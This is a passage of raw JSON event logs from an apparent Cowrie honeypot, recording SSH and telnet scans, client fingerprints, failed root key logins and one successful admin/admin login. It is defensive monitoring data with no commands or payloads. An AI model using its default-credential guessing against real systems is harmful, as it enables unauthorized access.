"aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.268576Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:b0:0a:2e:2e:e4:b6:7f:6b:2a:9b:3c:08:7d:bd:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDElD7SteglZd0qWEDVqB/KlINBVYAG8J7BABqn1r3QS9m0JDXkmrVUrMb5spErkrwqVoyDJYzxJ2nqCVo77ge7yAFcMGOlPyd+P++E5drex1hQQuLA6Nx6DdaXhx5JtShVQUgKd4DQiGGmhml+d44lTyFRJxNM2gMPxHagPxMxOSLLQB8oUPt6Iaw9pBxWtFRJ8ef0BRIGh95Ln3Gp4T24TIECn2OArynEHUUYkEiBYyeID1kKkL2fBfNBm7wVY/xfcuka1yCNKKz20MxTFBNUY7SMK4kQNd3uYdOC/P+ZOFf88d0lSi+MVhYTBW+L3LA8v4jjaaifpl9Ae96wipbXdHHczJqbYPkv9tMYYj2300E77KwCDPgkDQSw3XyxA28gOc95bjoZSlt4EHC4g2zZA/34FYbCZqjrYpVt4gZgGiBViIhTH55WVpY+Gqn6cRVuIXVeRgwzzhQPlWpwmIHZwFCnEcHl3OZo5cxeo0oRPr/iPoxqVil82bCpokdJwbsYnpwxQ1LyIOu48IHiSK3UrDMHEaGoBpLqLuOmg/o9DiYg5iPh+y6jTnHyzZf/lFAgc8Kqx+DTeTqmU4RXpbX2VcHcQI/732kIOhBU33Z8C+eAeZw19ZOCCbAY4miozHPQTHCnoPsK42RKqS4X/0V4+yJUEAG/2sS9Vk9FEidFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:b0:0a:2e:2e:e4:b6:7f:6b:2a:9b:3c:08:7d:bd:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.567753Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:b0:0a:2e:2e:e4:b6:7f:6b:2a:9b:3c:08:7d:bd:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDElD7SteglZd0qWEDVqB/KlINBVYAG8J7BABqn1r3QS9m0JDXkmrVUrMb5spErkrwqVoyDJYzxJ2nqCVo77ge7yAFcMGOlPyd+P++E5drex1hQQuLA6Nx6DdaXhx5JtShVQUgKd4DQiGGmhml+d44lTyFRJxNM2gMPxHagPxMxOSLLQB8oUPt6Iaw9pBxWtFRJ8ef0BRIGh95Ln3Gp4T24TIECn2OArynEHUUYkEiBYyeID1kKkL2fBfNBm7wVY/xfcuka1yCNKKz20MxTFBNUY7SMK4kQNd3uYdOC/P+ZOFf88d0lSi+MVhYTBW+L3LA8v4jjaaifpl9Ae96wipbXdHHczJqbYPkv9tMYYj2300E77KwCDPgkDQSw3XyxA28gOc95bjoZSlt4EHC4g2zZA/34FYbCZqjrYpVt4gZgGiBViIhTH55WVpY+Gqn6cRVuIXVeRgwzzhQPlWpwmIHZwFCnEcHl3OZo5cxeo0oRPr/iPoxqVil82bCpokdJwbsYnpwxQ1LyIOu48IHiSK3UrDMHEaGoBpLqLuOmg/o9DiYg5iPh+y6jTnHyzZf/lFAgc8Kqx+DTeTqmU4RXpbX2VcHcQI/732kIOhBU33Z8C+eAeZw19ZOCCbAY4miozHPQTHCnoPsK42RKqS4X/0V4+yJUEAG/2sS9Vk9FEidFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.570454Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:e7:a5:cf:8b:e6:b1:19:94:c2:40:1a:80:57:8c:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESedeNhW9RG4kGGaMMz9yIB9e8Efp46rP16yI6aJpzO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 01:e7:a5:cf:8b:e6:b1:19:94:c2:40:1a:80:57:8c:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.634890Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:e7:a5:cf:8b:e6:b1:19:94:c2:40:1a:80:57:8c:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIESedeNhW9RG4kGGaMMz9yIB9e8Efp46rP16yI6aJpzO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.638299Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:52:2e:af:2a:e5:17:1c:f0:08:a3:b6:c9:a7:dd:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4sZL8vxSFO4C8b0V3g2bKV/XQ9vslnDMO1EzVPZ6hfWowG9ov/ziBNcMZ8d1Sy1LUyadOPuZF+OtkCHIztTV6GyKUwmXUkMiXwf4b1O5ifyY/OcK7o6trQulNnKXajte9IjetuIkLo7fdlY5BW7C08+o8pZZ+pcKRrPtwtoXvlygaUbXd3SvP7mPaYIhRsfV966WAGJXR0Qbcqyoo2X3SOisaqS/CYnzFB/5SS/OLN7UIHaUUAtwFz+z/kRUtq/H5NeXrQCSijBlmka1baPy5nRoE4bJEFba00Twv7/IeFNZI4VjlnuqW4ihjwIQfnqTe4luVvjZI+QbHZmNbXWC0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:52:2e:af:2a:e5:17:1c:f0:08:a3:b6:c9:a7:dd:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.702434Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:52:2e:af:2a:e5:17:1c:f0:08:a3:b6:c9:a7:dd:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4sZL8vxSFO4C8b0V3g2bKV/XQ9vslnDMO1EzVPZ6hfWowG9ov/ziBNcMZ8d1Sy1LUyadOPuZF+OtkCHIztTV6GyKUwmXUkMiXwf4b1O5ifyY/OcK7o6trQulNnKXajte9IjetuIkLo7fdlY5BW7C08+o8pZZ+pcKRrPtwtoXvlygaUbXd3SvP7mPaYIhRsfV966WAGJXR0Qbcqyoo2X3SOisaqS/CYnzFB/5SS/OLN7UIHaUUAtwFz+z/kRUtq/H5NeXrQCSijBlmka1baPy5nRoE4bJEFba00Twv7/IeFNZI4VjlnuqW4ihjwIQfnqTe4luVvjZI+QbHZmNbXWC0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.706747Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:87:64:55:2d:c9:63:24:44:67:17:16:c2:4b:c2:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6/XRJ7m4XyjgslEbgNkk7QyfFRGMFkwlcCOYh9y0vcdSgDgPls3hQ2Chdzk8xWnxZ5537KkBpxXFxDm/umZmhVLMRHnO8zqspWla9Hti+NCnBvtiKHW6YS+bzRMzr0eQC52vv9lw84znaNQsRkhk5wlpM+yv7dop90p4Bm9DKkgVPf9ijsCtz33OG/aVGMcXXrxLmO3WwuADAyGfFI4GGlsOQHizDpvjZzAkc1w2oT/MeNU+sxmttZFT73/uiUX9ShfHMoyvpz7Nb+TcyaQNsX32SpoCSiFAHR6ySN/CobHS9mIeNpqYDjGcu2mJ0FXpHzBncq9OdNbBCi52HPlnj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:87:64:55:2d:c9:63:24:44:67:17:16:c2:4b:c2:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.774476Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:87:64:55:2d:c9:63:24:44:67:17:16:c2:4b:c2:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6/XRJ7m4XyjgslEbgNkk7QyfFRGMFkwlcCOYh9y0vcdSgDgPls3hQ2Chdzk8xWnxZ5537KkBpxXFxDm/umZmhVLMRHnO8zqspWla9Hti+NCnBvtiKHW6YS+bzRMzr0eQC52vv9lw84znaNQsRkhk5wlpM+yv7dop90p4Bm9DKkgVPf9ijsCtz33OG/aVGMcXXrxLmO3WwuADAyGfFI4GGlsOQHizDpvjZzAkc1w2oT/MeNU+sxmttZFT73/uiUX9ShfHMoyvpz7Nb+TcyaQNsX32SpoCSiFAHR6ySN/CobHS9mIeNpqYDjGcu2mJ0FXpHzBncq9OdNbBCi52HPlnj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.778906Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:bb:cd:02:50:c9:66:a3:97:61:12:a5:9a:97:95:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0CuKs4jNigCICfYEW3ComCepYh8qwNwKDKQkJ37OS5oe7jlUjsodRgT0eWtOLRGXddbjp230vf6yXOIvSIg5vW05m5KeSsfpDNMSwtAziODqymG0YignwI0RNbgYjifsmDPm1dsOlzcScm8lP+rbmv8Z5vOoSeVakXyr5ERD2gj5QGT0p8z23K+X/vQqGIHG7yh93wDig+S02rqIhT9xOpcT8Uh+/LG5qHpL89T2u1xzQs7cgbHlA3UlzDL/ZQM+0dD+ezjfzlbT/PORyFt78KIqqme1/6B82+RLY5RQc9rVwiHG1u7+1dQ91gA/YdIjVqMWZLs2AzJWHnFnBRCxoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:bb:cd:02:50:c9:66:a3:97:61:12:a5:9a:97:95:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.845698Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:bb:cd:02:50:c9:66:a3:97:61:12:a5:9a:97:95:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0CuKs4jNigCICfYEW3ComCepYh8qwNwKDKQkJ37OS5oe7jlUjsodRgT0eWtOLRGXddbjp230vf6yXOIvSIg5vW05m5KeSsfpDNMSwtAziODqymG0YignwI0RNbgYjifsmDPm1dsOlzcScm8lP+rbmv8Z5vOoSeVakXyr5ERD2gj5QGT0p8z23K+X/vQqGIHG7yh93wDig+S02rqIhT9xOpcT8Uh+/LG5qHpL89T2u1xzQs7cgbHlA3UlzDL/ZQM+0dD+ezjfzlbT/PORyFt78KIqqme1/6B82+RLY5RQc9rVwiHG1u7+1dQ91gA/YdIjVqMWZLs2AzJWHnFnBRCxoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.849916Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.918209Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.002535820007324,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:32.211609Z","src_ip":"108.61.73.139","session":"948273e00e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":44662,"dst_ip":"10.17.0.5","dst_port":23,"session":"958cf594cd79","protocol":"telnet","message":"New connection: 108.61.73.139:44662 (10.17.0.5:23) [session: 958cf594cd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:32.216521Z"}
{"eventid":"cowrie.session.closed","duration":5.0035624504089355,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:37.220003Z","src_ip":"108.61.73.139","session":"958cf594cd79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":60330,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ec68beac05b","protocol":"telnet","message":"New connection: 108.61.73.139:60330 (10.17.0.5:23) [session: 7ec68beac05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:37.225402Z"}
{"eventid":"cowrie.session.closed","duration":7.5046000480651855,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:44.729922Z","src_ip":"108.61.73.139","session":"7ec68beac05b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":60336,"dst_ip":"10.17.0.5","dst_port":23,"session":"97d5dd4f5905","protocol":"telnet","message":"New connection: 108.61.73.139:60336 (10.17.0.5:23) [session: 97d5dd4f5905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:44.734327Z"}
{"eventid":"cowrie.session.closed","duration":5.003904342651367,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.738164Z","src_ip":"108.61.73.139","session":"97d5dd4f5905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":41582,"dst_ip":"10.17.0.5","dst_port":23,"session":"403baa038956","protocol":"telnet","message":"New connection: 108.61.73.139:41582 (10.17.0.5:23) [session: 403baa038956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.744540Z"}
{"eventid":"cowrie.session.closed","duration":0.008588552474975586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.753050Z","src_ip":"108.61.73.139","session":"403baa038956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":41590,"dst_ip":"10.17.0.5","dst_port":23,"session":"6818dade2de6","protocol":"telnet","message":"New connection: 108.61.73.139:41590 (10.17.0.5:23) [session: 6818dade2de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.757468Z"}
{"eventid":"cowrie.session.closed","duration":0.004364967346191406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.761747Z","src_ip":"108.61.73.139","session":"6818dade2de6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":41602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f63dd36d823a","protocol":"telnet","message":"New connection: 108.61.73.139:41602 (10.17.0.5:23) [session: f63dd36d823a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:49.765987Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.202.211","src_port":60018,"dst_ip":"159.203.135.109","dst_port":22,"session":"915505619797","protocol":"ssh","message":"New connection: 34.76.202.211:60018 (159.203.135.109:22) [session: 915505619797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:52.780456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:52.860689Z","src_ip":"34.76.202.211","session":"915505619797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.202.211","src_port":60020,"dst_ip":"159.203.135.109","dst_port":22,"session":"a57793de1a4d","protocol":"ssh","message":"New connection: 34.76.202.211:60020 (159.203.135.109:22) [session: a57793de1a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:53.017127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:53.021971Z","src_ip":"34.76.202.211","session":"a57793de1a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:53.101085Z","src_ip":"34.76.202.211","session":"a57793de1a4d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:54.098120Z","src_ip":"34.76.202.211","session":"a57793de1a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:54.179981Z","src_ip":"34.76.202.211","session":"915505619797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:54.184832Z","src_ip":"34.76.202.211","session":"a57793de1a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.005664825439453,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:54.771569Z","src_ip":"108.61.73.139","session":"f63dd36d823a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:56.917233Z","src_ip":"34.76.202.211","session":"915505619797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":53634,"dst_ip":"10.17.0.5","dst_port":23,"session":"f86d756c10c2","protocol":"telnet","message":"New connection: 108.61.73.139:53634 (10.17.0.5:23) [session: f86d756c10c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:57.333217Z"}
{"eventid":"cowrie.session.closed","duration":0.005253791809082031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:57.338326Z","src_ip":"108.61.73.139","session":"f86d756c10c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.251.224","src_port":43298,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d1c3cd0bf50","protocol":"ssh","message":"New connection: 35.195.251.224:43298 (159.203.135.109:22) [session: 9d1c3cd0bf50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:00.185467Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:00.267246Z","src_ip":"35.195.251.224","session":"9d1c3cd0bf50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":58694,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccfbfdeaf5c9","protocol":"ssh","message":"New connection: 108.61.73.139:58694 (10.17.0.5:22) [session: ccfbfdeaf5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:05.473560Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u000356v+\\xb3m![}I\u001d\be\\xde\\xdfCZO\\x81,\\x8eQ\\xfa)l&\u0012\\x9fi\\x82?\\xb5 Z)\\xa1Z9q\u000f%\\xaa6G\\x90\t\\xf9\u001c\\xa4\\xf0\ucc34\\x9e\u007f%#\\x90tCQ^\\xf5\\xed$\u0000&\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000\\xee\u0001\u0000\u0000\\xea\u0003\u000356v+\\xb3m![}I\u001d\be\\xde\\xdfCZO\\x81,\\x8eQ\\xfa)l&\u0012\\x9fi\\x82?\\xb5 Z)\\xa1Z9q\u000f%\\xaa6G\\x90\t\\xf9\u001c\\xa4\\xf0\ucc34\\x9e\u007f%#\\x90tCQ^\\xf5\\xed$\u0000&\u0328\u0329\\xc0/\\xc00\\xc0+\\xc0,\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:05.485623Z","src_ip":"108.61.73.139","session":"ccfbfdeaf5c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:05.490888Z","src_ip":"108.61.73.139","session":"ccfbfdeaf5c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.251.224","src_port":13938,"dst_ip":"159.203.135.109","dst_port":22,"session":"227e1195ff56","protocol":"ssh","message":"New connection: 35.195.251.224:13938 (159.203.135.109:22) [session: 227e1195ff56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:07.493457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:07.634458Z","src_ip":"35.195.251.224","session":"227e1195ff56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:25:07.813346Z","src_ip":"35.195.251.224","session":"227e1195ff56","protocol":"ssh"}
